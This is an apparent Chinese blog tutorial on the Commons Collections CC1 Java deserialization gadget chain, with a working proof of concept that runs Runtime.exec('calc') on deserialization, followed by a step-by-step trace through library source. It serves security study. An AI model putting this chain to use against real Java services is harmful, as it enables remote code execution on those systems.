cc1 transform 链

  • 一步一步寻找利用链
    • 1.找到利用终点
      • 2.寻找transform
      • 3.进入TransformedMap
      • 3.寻找setValue
    • 一些小问题

上个大图

成功反序列化

poc

package org.example.cc.cc1;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.DefaultedMap;
import org.apache.commons.collections.map.TransformedMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;public class cc1h33 {public static String cls2str(Class cls){return cls.getClass().toString().replace("class ","");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {Object obj = Runtime.getRuntime();Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};ChainedTransformer it = new ChainedTransformer(transformers);
//        it.transform(obj);Map<Object,Object> mp = new HashMap<>();mp.put("value","111");Map<Object,Object> map = TransformedMap.decorate(mp,it,it);//        for(Map.Entry en:map.entrySet()){//            en.setValue(obj);
//        }Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = cls.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);InvocationHandler handler = (InvocationHandler) cons.newInstance(Target.class,map);serialize(handler);unserialize("ser.bin");}
}

一步一步寻找利用链

1.找到利用终点

得知InvokerTransformer有一个危险函数 他直接进行反射调用

 /*** Transforms the input to result by invoking a method on the input.* * @param input  the input object to transform* @return the transformed result, null if null input*/public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}}

2.寻找transform

寻找不同名字的函数

不要同名的


这样来扩大接触面

3.进入TransformedMap

这是本次利用类
三个重点方法

检查三个函数
发现checkSetValue 是重写的方法 在父类AbstractInputCheckedMapDecorator中有调用

    protected Object checkSetValue(Object value) {return valueTransformer.transform(value);}

看注释知道使用setvalue时触发

/*** Override to transform the value when using <code>setValue</code>.* * @param value  the value to transform* @return the transformed value* @since Commons Collections 3.1*/

父类使用

        public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}

他在一个静态类中

static class MapEntry extends AbstractMapEntryDecorator {/** The parent map */private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = parent.checkSetValue(value);return entry.setValue(value);}}

调用者是setValue

3.寻找setValue

发现D:\ap\pro\jdk8u65\jre\lib\rt.jar!\sun\reflect\annotation\AnnotationInvocationHandler.class
的readObject有调用

并且readObject也符合反序列化要求

一些小问题

两个if

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {var1.defaultReadObject();AnnotationType var2 = null;try {var2 = AnnotationType.getInstance(this.type);} catch (IllegalArgumentException var9) {throw new InvalidObjectException("Non-annotation type in annotation serial stream");}Map var3 = var2.memberTypes();Iterator var4 = this.memberValues.entrySet().iterator();while(var4.hasNext()) {Entry var5 = (Entry)var4.next();String var6 = (String)var5.getKey();Class var7 = (Class)var3.get(var6);if (var7 != null) {Object var8 = var5.getValue();if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));}}}}

原因

var2 = AnnotationType.getInstance(this.type);

Map var3 = var2.memberTypes();

Class var7 = (Class)var3.get(var6);

继续运行

最后transform

弹出计算器

cc1 transform链相关推荐

  1. 告别脚本小子系列丨JAVA安全(7)——反序列化利用链(中)

    0x01 前言 距离上一次更新JAVA安全的系列文章已经过去一段时间了,在上一篇文章中介绍了反序列化利用链基本知识,并阐述了Transform链的基本知识.Transform链并不是一条完整的利用链, ...

  2. 告别脚本小子系列丨JAVA安全(6)——反序列化利用链(上)

    0x01 前言 我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就 ...

  3. java 反序列化漏洞 利用思路简介

    目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...

  4. weblogic0638_Java安全之Weblogic 2016-0638分析

    Java安全之Weblogic 2016-0638分析 0x00 前言 续上篇文的初探weblogic的T3协议漏洞,再谈CVE-2016-0638, CVE-2016-0638是基于 CVE-201 ...

  5. Elasticsearch的Watcher插件

    2019独角兽企业重金招聘Python工程师标准>>> Watcher是对Elasticsearch进行告警和通知的插件,可以根据数据的变化采取行动.它的设计原理是在Elastics ...

  6. [源码分析] 从FlatMap用法到Flink的内部实现

    [源码分析] 从FlatMap用法到Flink的内部实现 0x00 摘要 本文将从FlatMap概念和如何使用开始入手,深入到Flink是如何实现FlatMap.希望能让大家对这个概念有更深入的理解. ...

  7. 看完这一篇,你也可以自如地掌握字节码插桩

    /   今日科技快讯   / 近日,一些国家的黑客频繁对俄罗斯发动网络攻击,以阻止它们正常运行.未来几天,俄罗斯可能与全球互联网断开.针对网络威胁,俄罗斯政府准备启动自己的"大局域网&quo ...

  8. JDK9-17开发常用的新特性

    以下样例代码均可在样例代码中查看 jdk9新特性 新功能和库的更新 "_"为关键字,不可作为变量名 As of Java 9, '_' is a keyword, and may ...

  9. Android开发——如何解决三方库中的类名冲突问题

    文章目录 背景 一.尝试复现 二.初步想法 三.继续思考 3.1 源码引入 3.2 是否可以经过二次混淆改名 3.3 Android Transform 3.4 直接修改本地aar文件 3.4.1 找 ...

最新文章

  1. 将Excel文件数据库导入SQL Server
  2. 缺陷大扫除(Bug Bash)
  3. 布丁消除html,布丁压缩怎么彻底卸载
  4. ​边缘计算架构如何融合视频编码与存储
  5. python爬虫爬取雪球网_Python爬虫爬取天天基金网基金排行
  6. C#利用CDOSYS组件发邮件的一些小结
  7. BZOJ1877 [SDOI2009]晨跑 【费用流】
  8. vivado linux使用教程,Vivado2017.4下载|Xilinx Vivado 2017.4 最新版(含使用教程)下载...
  9. github安装python包_使用PyCharm从GitHub安装Python包
  10. diabetes影响因子2017_2017年度影响因子看点和预测(MedSci出品)
  11. 空号筛选接口的应用场景
  12. 字节跳动岗位薪酬体系曝光,看完感叹:不服不行
  13. 中国室内定位系统LBS市场现状研究分析与发展前景预测报告(2022)
  14. 怎么在安全模式里找计算机用户,安全模式怎么解除
  15. 10亿数据导入oracle方案
  16. 使用fail2ban解决暴力破解问题
  17. ArcGIS教程:太阳辐射建模
  18. JQuery学习——标签页(Tabs)
  19. 骨传导耳机哪个牌子好?哪些款式最值得入手?
  20. The following packages have unmet dependencies: build-essential : Depends: libc6-dev but it is not

热门文章

  1. 《Python cookbook》笔记一
  2. linux 设备驱动阻塞,深入浅出:Linux设备驱动中的阻塞和非阻塞I/O
  3. html网页的配色,css页面网页配色
  4. oracle 单表查重,Oracle如何用单字段或多字段进行查重
  5. AcWing 798. 差分矩阵
  6. raw转bmp程序c语言,求指导,如何用c语言实现读取*.raw格式图像
  7. 计算机课评课用语,【数学评课50条】_评课常用语50条
  8. Pychram中如何导入其他文件的.py文件
  9. 52、基于模块化方式安装LAMP
  10. ArcGIS Engine中如何获取Map中已经选择的要素呢(转)